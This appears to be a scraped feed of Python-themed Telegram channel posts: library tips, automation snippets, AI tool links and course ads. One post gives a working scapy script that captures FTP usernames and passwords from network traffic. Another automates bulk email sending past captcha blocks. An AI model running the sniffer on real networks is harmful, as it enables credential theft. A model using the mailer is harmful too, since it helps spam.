Python/ django

🖥Pytest-postgresql This is a pytest plugin, that enables you to test your code that relies on a running PostgreSQL Database. Это плагин pytest, позволяющий тестировать код, основанный на базе данных PostgreSQL. Он позволяет задавать фикстуры для PostgreSQL. pip install pytest-postgresql ▪Github @pythonl

🖥 ItsDangerous To ensure the safety of passing data to untrusted environments, use ItsDangerous. ItsDangerous adds a unique signature to the data to verify that the data has not been tampered. При передаче данных между различными веб-запросами существует риск инъекции вредоносного кода. Для обеспечения безопасности передачи данных в по API следует использовать ItsDangerous. ItsDangerous добавляет к данным уникальную подпись, которая позволяет убедиться в том, что данные не были подделаны. pip install -U itsdangerous from itsdangerous import URLSafeSerializer auth_s = URLSafeSerializer("secret key", "auth") token = auth_s.dumps({"id": 5, "name": "itsdangerous"}) print(token) # eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg data = auth_s.loads(token) print(data["name"]) # itsdangerous ▪Github @pythonl

🖥 Automate the Mundane: How Python Scripts Transform Tedious Tasks Автоматическая организация файлов в папке загрузок, в зависимости от их типа. import os import shutil # Paths DOWNLOADS_PATH = os.path.expanduser('~/Downloads') # Modify this if your downloads are in a different location ORGANIZED_PATHS = { 'Documents': ['.pdf', '.doc', '.docx', '.txt', '.md', '.xlsx', '.ppt'], 'Images': ['.jpg', '.jpeg', '.gif', '.png', '.svg'], 'Music': ['.mp3', '.wav', '.wma', '.ogg', '.flac', '.aac'], 'Videos': ['.mp4', '.mkv', '.flv', '.mov', '.avi'], 'Archives': ['.zip', '.tar', '.tar.gz', '.rar', '.7z'], } def organize_downloads(): for filename in os.listdir(DOWNLOADS_PATH): file_path = os.path.join(DOWNLOADS_PATH, filename) # Ensure we're working with files only if not os.path.isfile(file_path): continue # Find the file's type based on its extension file_type = None for folder, extensions in ORGANIZED_PATHS.items(): for extension in extensions: if filename.endswith(extension): file_type = folder break if file_type: break # Move the file to its designated folder if file_type: dest_folder = os.path.join(DOWNLOADS_PATH, file_type) os.makedirs(dest_folder, exist_ok=True) shutil.move(file_path, os.path.join(dest_folder, filename)) else: # You can add a category for uncategorized files if needed pass if __name__ == "__main__": organize_downloads() @pythonl

Анализируем junior-вакансии с помощью Python в прямом эфире 👨‍💻 Хотите стать Python-разработчиком, но не знаете какие навыки и знания нужны в первую очередь? Тогда не пропустите вебинар от Ильи Лебедева, разработчика программного обеспечения и преподавателя программирования с нуля. Вместе с вами проанализируем вакансии с помощью Python в прямом эфире. В ходе вебинара вы сможете: → распарсить вакансии новичков → попарсить обязательные и дополнительные требования → построить аналитику → напишите скрипт, который поможет вам самостоятельно построить свой трек обучения для максимального соответствия актуальным вакансиям, его можно будет доработать под себя Для кого: На вебинаре будет интересно и тем, кто знаком с основами Python, и тем, кто не знает разницу между if и for. Мы не будем обсуждать основы синтаксиса, но программирование — это не только синтаксис языка. Когда и где: Присоединяйтесь к эфиру 17 августа в 20:00 по МСК. Зарегистрируйтесь по ссылке, чтобы не пропустить — https://vk.cc/cqaCrd

🖥 Text-to-Speech with PyTorch Преобразование текста в речь с помощью PyTorch. import torchaudio import torch import matplotlib.pyplot as plt import IPython.display bundle = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH processor = bundle.get_text_processor() tacotron2 = bundle.get_tacotron2().to(device) # Move model to the desired device vocoder = bundle.get_vocoder().to(device) # Move model to the desired device text = " My first text to speech!" with torch.inference_mode(): processed, lengths = processor(text) processed = processed.to(device) # Move processed text data to the device lengths = lengths.to(device) # Move lengths data to the device spec, spec_lengths, _ = tacotron2.infer(processed, lengths) waveforms, lengths = vocoder(spec, spec_lengths) fig, [ax1, ax2] = plt.subplots(2, 1, figsize=(16, 9)) ax1.imshow(spec[0].cpu().detach(), origin="lower", aspect="auto") # Display the generated spectrogram ax2.plot(waveforms[0].cpu().detach()) # Display the generated waveform7. Play the generated audio using IPython.display.Audio IPython.display.Audio(waveforms[0:1].cpu(), rate=vocoder.sample_rate) @pythonl

Хочешь пройти алгоритмическую секцию на собеседовании с 1 раза?🤩 Если ты давно откладывал алгоритмы и не знаешь, с чего начать — это твой шанс⭐️ 71% наших учеников уже получили офферы в крупные IT-компании. Хочешь стать следующим? Помогаем заботать алгоритмы на задачах из собеседований в Яндекс, Тинькофф, ВК на курсе: "АЛГОРИТМЫ: ROADMAP для получения офферов в IT!" ☝️Он лучше аналогов, и вот почему: ➡️Структурная подача материала. Информация собрана за вас, вам не нужно искать по всему интернету ответы на вопросы. Плюс есть куратор и препод, у которого можно спросить все, что не понятно. ➡️ Много практики. 100+ задач, которые вы решите сами. За счет постепенного роста сложности задач, вы выработаете большую уверенность в том, что сможете решать алгоритмы. ➡️Каждую неделю вы будете разбирать задачи из СОБЕСЕДОВАНИЙ. Научитесь уверенно решать задачки medium и hard на Leetcode и пройдете собеседования. ➡️У вас будет личный куратор-трекер, который напоминает о ДЗ. Вы получите МОТИВАЦИЮ изучить алгоритмы. ➡️Поддержка от сообщества единомышленников. Для участников будет групповой чат. Благодаря коммьюнити и общению вы получите удовольствие от процесса, а в этом состоянии вы максимально продуктивны. Первому человеку, который пройдет весь курс до конца первым — полностью возместим деньги за обучение💲 🔥 До 18.08 можно присоединиться к 5 потоку с самой большой скидкой в году —20%. ✔️Оставляй заявку на бесплатную консультацию, где мы вместе с экспертом составим твой персональный RoadMap развития по алгоритмам: 🌐https://clck.ru/35KuNu

👱‍♂️ Creating Face Swaps with Python and OpenCV Скрипт замены лиц с помощью Python и OpenCV. Step 1: Face Detection import cv2 def detect_face(image_path): # Load the face detection classifier face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml') # Read and convert the image to grayscale image = cv2.imread(image_path) gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # Detect faces in the image faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5) # Assuming there's only one face in the image, return its coordinates if len(faces) == 1: return faces[0] else: return None Step 2: Swapping Faces def main(): # Paths to the input images image_path_1 = 'path_to_image1.jpg' image_path_2 = 'path_to_image2.jpg' # Detect the face in the second image face_coords_2 = detect_face(image_path_2) if face_coords_2 is None: print("No face found in the second image.") return # Load and resize the source face image_1 = cv2.imread(image_path_1) face_width, face_height = face_coords_2[2], face_coords_2[3] image_1_resized = cv2.resize(image_1, (face_width, face_height)) # Extract the target face region from the second image image_2 = cv2.imread(image_path_2) roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] # Flip the target face horizontally reflected_roi = cv2.flip(roi, 1) # Blend the two faces together alpha = 0.7 blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0) # Replace the target face region with the blended image image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image # Display the result cv2.imshow('Blended Image', image_2) cv2.waitKey(0) cv2.destroyAllWindows() if __name__ == "__main__": main() @pythonl

🎼 AudioLDM 2: A General Framework for Audio, Music, and Speech Generation AudioLDM 2: Нейросеть, создающая музыку из текстового описания. conda create -n audioldm python=3.8; conda activate audioldm pip3 install git+https://github.com/haoheliu/AudioLDM2.git git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2 python3 app.py ▪Github ▪Demo @pythonl

🟡 This week's digest of useful content from the world of Python Дайджест полезных материалов из мира Python за неделю. Почитать: — Разработка событийно-ориентированных микросервисов с помощью Python — Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2 — Я люблю питон, и вот почему он меня бесит — Список популярных утечек с GitHub: Анализ репозиториев компаний — PyCon Russia 2023. Зона Python. Краткий обзор докладов — Менеджеры контекста в Python — Что происходит, когда запускаешь «Hello World» в Linux — Ускорение кода с помощью многопроцессорной обработки в Python — Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore — Перехват FTP-пароля с помощью Python — Как Python использует сборку мусора для эффективного управления памятью — Converting An Image File Into PDF Using Python — Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces Посмотреть: 🌐 Методы сокращения и улучшения кода на Python 🌐 Продвинутые методы улучшения кода на Python 🌐 Создаем продвинутый интерфейс на Python 🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course Хорошего дня! @pythonl

🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python Импорт данных из SQL Server в Excel с несколькими листами с помощью Python. 🖥 Code @pythonl

🖥 Coldtype Cross-platform display typography in python. Coldtype — это удобная кроссплатформенная библиотека Python для программирования типографики и текстовой анимации. ▪ Github ▪Tutorial @pythonl

🖥Sniffing FTP password with Python Перехват FTP-пароля с помощью Python. from typing import Protocol import sys from scapy.layers import inet from scapy.all import * from scapy.layers import * import psutil import scapy.all as scapy from scapy.layers import http linea = '--------------------------------------------------' class bcolors: OK = '\033[92m' #GREEN WARNING = '\033[93m' #YELLOW ladrrr = '8GY.' ss = 'OWQ1' FAIL = '\033[91m' #RED pinocho_chocho = 'y!c' RESET = '\033[0m' #RESET COLOR def ftp_creds(p_ftp): if p_ftp[TCP].dport == 21: data = p_ftp.sprintf("%Raw.load%") if "USER" in data: global ip_ftp global ip_ftp2 ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'" print(ip_ftp) global user_ftp data = data.split(" ") data = data[1] global user_ftp2 user_ftp = "'User: ", data, "'" print(user_ftp) elif "PASS" in data: data = data.split(" ") data = data[1] global passwd_ftp global passwd_ftp2 passwd_ftp = "'PASSWORD: ", data,"'" print(passwd_ftp) print(linea) global ftp_ip_final global user_ftp_final def ftp(): print(linea) print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}") addrs = psutil.net_if_addrs() cc = str(addrs.keys()) interfaces = print(cc[9:]) bb = input("Choose Interface to use: ") xs = 0 if bb in cc: try: while xs>=0: print(linea) print(f"{bcolors.WARNING}Searching...{bcolors.RESET}") ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds) except KeyboardInterrupt: print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}") print(linea) global ftphost global ftpuser global ftpass ftp() 📌 Код 📌 Статья @pythonl

🔥Email sender script (Selenium + Python) Скрипт рассылки писем по Email (Selenium + Python). import time from selenium import webdriver from selenium.webdriver.common.keys import Keys import csv # Путь к web-driver EXE_PATH = 'chromedriver.exe' # Логин и пароль от вашей почты EMAIL = email@mail.com PASSWORD = password # запускаем браузер browser = webdriver.Chrome(executable_path=EXE_PATH) # Переходим на страницу шаблонов mail.ru # Сайт выдаст форму авторизации browser.get('https://e.mail.ru/templates/') # Выставляем тайминги задержки чтобы браузер успел прогрузить страницу time.sleep(5) # Теперь нам надо авторизоваться # заполняем поле логин emailElem = browser.find_element_by_name('username') emailElem.send_keys(EMAIL) emailElem.submit() time.sleep(1) # заполняем поле пароль passwordElem = browser.find_element_by_name('password') passwordElem.send_keys(PASSWORD) passwordElem.submit() time.sleep(5) # Мы авторизовались, теперь тащим адреса из файла.csv # Содержание файла # ФИО,Email with open('email_list.csv', encoding="utf-8") as file: EMAIL_LIST = csv.reader(file) # Запускаем цикл for row in EMAIL_LIST: # Если mail что то заподозрит, то выкинет капчу, # мы получаем except, ждем некоторое время, и снова отправлем письмо try: # ФИО <Email> email_to = row[0] + "<" + row[1] + ">" # Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее) browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click() time.sleep(3) # Заполняем поле кому browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to) time.sleep(1) # Нажимаем кнопку отправить browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click() time.sleep(5) # После отправки открывается модальное окно, закрываем его browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click() time.sleep(10) except Exception: # Сообщаем пользователю, что скрипту необходимо переждать print('Error! Wait 1 hour\n') # Ждем час (можно меньше) time.sleep(3600) # Снова нажимаем кнопку отправить browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click() time.sleep(5) # Снова закрываем модальное окно browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click() time.sleep(10) print('SUCCESS!') time.sleep(500) @pythonl

🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих. import openpyxl from tkinter import * from tkinter import messagebox def register(): # Get the user input from the form first_name = first_name_entry.get() Last_name = Last_name_entry.get() email = email_entry.get() Mobile = Mobile_entry.get() # Create a new row with the user input new_row = [first_name, Last_name, email,Mobile] # Append the new row to the Excel sheet workbook = openpyxl.load_workbook("registration_data.xlsx") sheet = workbook.active sheet.append(new_row) workbook.save("registration_data.xlsx") messagebox.showinfo("Success", "Registration successful!") # Create the main tkinter window root = Tk() root.title("Registration Form") root.geometry('300x300') # Create labels and entry fields for each input first_name_label = Label(root, text="First Name:") first_name_label.pack() first_name_entry = Entry(root) first_name_entry.pack() Last_name_label = Label(root, text="Last Name:") Last_name_label.pack() Last_name_entry = Entry(root) Last_name_entry.pack() email_label = Label(root, text="Email:") email_label.pack() email_entry = Entry(root) email_entry.pack() Mobile_label = Label(root, text="Mobile:") Mobile_label.pack() Mobile_entry = Entry(root) Mobile_entry.pack() register_button = Button(root, text="Register", command=register) register_button.pack() root.mainloop() @pythonl

🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 новых возможностей Python 3.11, которые сделают ваш код более эффективным. 01 Pattern Matching *изображение 1. 02 Structural Pattern Matching *изображение 2. 03 Type Hints and Checks *изображение 3. 04 Оптимизация производительности *изображение 4. 05 Улучшения отчетов об ошибках *изображение 5. 06 Новая стандартная библиотека zoneinfo *изображение 6. 07 iterate *изображение 7. 08 Merge Dictionary Operator *изображение 8. 09 Новая функция точки прерывания отладки *изображение 9. 10 Синхронная итерация *изображение 10.

⚡️Маст-хэв список для программистов, каналы с последними книжными новинками, библиотеками, разбором кода и актуальной информацией, связанной с вашим языком программирования. Лучший способ получать свежие обновлении и следить за трендами в разработке. Машинное обучение: t.me/ai_machinelearning_big_data Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Базы данных: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная разработка: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Хакинг: t.me/linuxkalii Тестирование: https://t.me/+F9jPLmMFqq1kNTMy Java: t.me/javatg 💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy 📕 Бесплатные Книги для программистов: https://t.me/addlist/YZ0EI8Ya4OJjYzEy 🎞 YouTube канал: https://www.youtube.com/@uproger 😆ИТ-Мемы: t.me/memes_prog 🇬🇧Английский: t.me/english_forprogrammers

🔥🔥 VideoCrafter：A Toolkit for Text-to-Video Generation and Editing A Toolkit for Text-to-Video Generation and Editing Опенсоурс алгоритм для генерации видеоконтента и преобразования текста в видео. •Github •Colab @pythonl

🖥 Excel File Automation Создание и работа с excel-файлами с помощью python-скрипта. from openpyxl import Workbook from openpyxl.utils import get_column_letter from openpyxl.styles import Font #making the grid and giving the data data = { "Joe": { "math": 65, "science": 78, "english": 98, "gym": 89 }, "Bill": { "math": 55, "science": 72, "english": 87, "gym": 95 }, "Tim": { "math": 100, "science": 45, "english": 75, "gym": 92 }, "Sally": { "math": 30, "science": 25, "english": 45, "gym": 100 }, "Jane": { "math": 100, "science": 100, "english": 100, "gym": 60 } } wb = Workbook() ws = wb.active #assigning the title ws.title = "Grades" #giving proper formatting for columns headings = ['Name'] + list(data['Joe'].keys()) ws.append(headings) #reading the data for persom for person in data: grades = list(data[person].values()) ws.append([person] + grades) for col in range(2, len(data['Joe']) + 2): char = get_column_letter(col) ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}" #assigning the colour and text type for col in range(1, 6): ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF") #saving the excel file in the same folder wb.save("NewGrades.xlsx") @pythonl